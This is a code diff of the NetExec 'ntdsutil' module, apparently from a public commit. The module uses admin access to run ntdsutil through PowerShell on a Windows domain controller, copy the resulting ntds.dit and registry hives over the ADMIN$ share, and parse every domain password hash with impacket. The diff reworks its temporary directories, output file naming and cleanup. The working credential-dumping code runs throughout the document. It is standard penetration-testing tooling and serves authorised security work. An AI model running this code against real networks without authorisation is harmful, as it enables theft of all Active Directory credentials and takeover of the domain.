11import os
2- import socket
2+ import shutil
3+ import tempfile
34import time
4- import subprocess
5-
65from nxc .paths import NXC_PATH
6+
77from impacket .examples .secretsdump import LocalOperations , NTDSHashes
88
99from nxc .helpers .logger import highlight
@@ -14,6 +14,7 @@ class NXCModule:
1414 """
1515 Dump NTDS with ntdsutil
1616 Module by @zblurx
17+
1718 """
1819
1920 name = "ntdsutil"
@@ -27,42 +28,20 @@ def options(self, context, module_options):
2728 Dump NTDS with ntdsutil
2829 Module by @zblurx
2930
30- DIR_RESULT Local dir to write ntds dump.
31+ DIR_RESULT Local dir to write ntds dump. If specified, the local dump will not be deleted after parsing
3132 """
3233 self .share = "ADMIN$"
3334 self .tmp_dir = "C:\\ Windows\\ Temp\\ "
3435 self .tmp_share = self .tmp_dir .split ("C:\\ Windows\\ " )[1 ]
3536 self .dump_location = str (time .time ())[:9 ]
37+ self .dir_result = self .dir_result = tempfile .mkdtemp ()
3638 self .no_delete = False
37- self .user_specified_dir = "DIR_RESULT" in module_options
3839
39- if self . user_specified_dir :
40+ if "DIR_RESULT" in module_options :
4041 self .dir_result = os .path .abspath (module_options ["DIR_RESULT" ])
4142 self .no_delete = True
42- else :
43- self .dir_result = None
44- self .no_delete = True
4543
4644 def on_admin_login (self , context , connection ):
47- def get_hostname (connection ):
48- # try smb nb server name first
49- try :
50- if hasattr (connection , "conn" ) and hasattr (connection .conn , "getServerName" ):
51- return connection .conn .getServerName ()
52- except Exception :
53- pass
54- # fallback to reverse dns
55- try :
56- return socket .gethostbyaddr (connection .host )[0 ]
57- except Exception :
58- return "unknown_host"
59-
60- ip = "unknown_ip"
61- hostname = "unknown_host"
62- if hasattr (connection , "host" ) and connection .host :
63- ip = connection .host
64- hostname = get_hostname (connection )
65-
6645 command = f"powershell \" ntdsutil.exe 'ac i ntds' 'ifm' 'create full { self .tmp_dir } { self .dump_location } ' q q\" "
6746 context .log .display (f"Dumping ntds with ntdsutil.exe to { self .tmp_dir } { self .dump_location } " )
6847 context .log .highlight ("Dumping the NTDS, this could take a while so go grab a redbull..." )
@@ -75,19 +54,9 @@ def get_hostname(connection):
7554 context .log .fail ("Error while dumping NTDS" )
7655 return
7756
78- # use hostname and ip in log paths
79- dir_result_with_host = os .path .join (NXC_PATH , "logs" , "ntds" , f"ntdsutil_{ hostname } _{ ip } _{ time .strftime ('%Y-%m-%d_%H-%M-%S' )} " )
80-
81- if not self .user_specified_dir :
82- self .dir_result = dir_result_with_host
83- os .makedirs (self .dir_result , exist_ok = True )
84- os .makedirs (os .path .join (self .dir_result , "Active Directory" ), exist_ok = True )
85- os .makedirs (os .path .join (self .dir_result , "registry" ), exist_ok = True )
86- else :
87- # if user specified dir_result, create dirs here if needed
88- os .makedirs (self .dir_result , exist_ok = True )
89- os .makedirs (os .path .join (self .dir_result , "Active Directory" ), exist_ok = True )
90- os .makedirs (os .path .join (self .dir_result , "registry" ), exist_ok = True )
57+ os .makedirs (self .dir_result , exist_ok = True )
58+ os .makedirs (os .path .join (self .dir_result , "Active Directory" ), exist_ok = True )
59+ os .makedirs (os .path .join (self .dir_result , "registry" ), exist_ok = True )
9160
9261 context .log .display (f"Copying NTDS dump to { self .dir_result } " )
9362
@@ -174,6 +143,15 @@ def add_ntds_hash(ntds_hash, host_id):
174143 add_ntds_hash .ntds_hashes = 0
175144 add_ntds_hash .added_to_db = 0
176145
146+ if not connection .output_filename :
147+ timestamp = time .strftime ("%Y-%m-%d_%H-%M-%S" )
148+ hostname = connection .hostname
149+ ip = connection .host
150+ filename = f"{ hostname } _{ ip } _{ timestamp } .ntds"
151+ output_dir = os .path .join (NXC_PATH , "logs" , "ntds" )
152+ os .makedirs (output_dir , exist_ok = True )
153+ connection .output_filename = os .path .join (output_dir , filename ).rstrip (".ntds" )
154+
177155 NTDS = NTDSHashes (
178156 f"{ self .dir_result } /Active Directory/ntds.dit" ,
179157 boot_key ,
@@ -195,51 +173,16 @@ def add_ntds_hash(ntds_hash, host_id):
195173 context .log .success ("Dumping the NTDS, this could take a while so go grab a redbull..." )
196174 NTDS .dump ()
197175 context .log .success (f"Dumped { highlight (add_ntds_hash .ntds_hashes )} NTDS hashes to { connection .output_filename } .ntds of which { highlight (add_ntds_hash .added_to_db )} were added to the database" )
176+
177+ context .log .display ("To extract only enabled accounts from the output file, run the following command: " )
178+ context .log .display (f"grep -iv disabled { connection .output_filename } .ntds | cut -d ':' -f1" )
198179 except Exception as e :
199180 context .log .fail (e )
200181
201182 NTDS .finish ()
202183
203- if self .user_specified_dir :
184+ if self .no_delete :
204185 context .log .display (f"Raw NTDS dump copied to { self .dir_result } , parse it with:" )
205186 context .log .display (f"secretsdump.py -system '{ self .dir_result } /registry/SYSTEM' -security '{ self .dir_result } /registry/SECURITY' -ntds '{ self .dir_result } /Active Directory/ntds.dit' LOCAL" )
206187 else :
207- base_dir = os .path .join (os .environ ["HOME" ], ".nxc" , "logs" , "ntds" )
208-
209- system_path = os .path .join (self .dir_result , "registry" , "SYSTEM" )
210- security_path = os .path .join (self .dir_result , "registry" , "SECURITY" )
211- ntds_path = os .path .join (self .dir_result , "Active Directory" , "ntds.dit" )
212-
213- timestamp = time .strftime ("%Y-%m-%d_%H-%M-%S" )
214- output_file = os .path .join (base_dir , f"{ hostname } _{ ip } _{ timestamp } .ntds" )
215-
216- command = [
217- "impacket-secretsdump" ,
218- "-system" ,
219- system_path ,
220- "-security" ,
221- security_path ,
222- "-ntds" ,
223- ntds_path ,
224- "local" ,
225- "-just-dc-ntlm" ,
226- "-user-status" ,
227- ]
228-
229- context .log .display (f"Running impacket-secretsdump, output will be saved to { output_file } " )
230- with open (output_file , "w" ) as outfile :
231- subprocess .run (command , stdout = outfile , stderr = subprocess .STDOUT )
232-
233- # clean impacket-secretsdump output: remove first 7 lines and last line
234- with open (output_file ) as f :
235- lines = f .readlines ()
236-
237- if len (lines ) > 8 :
238- cleaned_lines = lines [7 :- 1 ]
239- with open (output_file , "w" ) as f :
240- f .writelines (cleaned_lines )
241-
242- context .log .success (f"impacket-secretsdump output saved to { output_file } " )
243- context .log .display ("To extract only enabled accounts from the output file, run the following command: " )
244- context .log .display (f"grep -iv disabled { output_file } | cut -d ':' -f1" )
245-
188+ shutil .rmtree (self .dir_result )
0 commit comments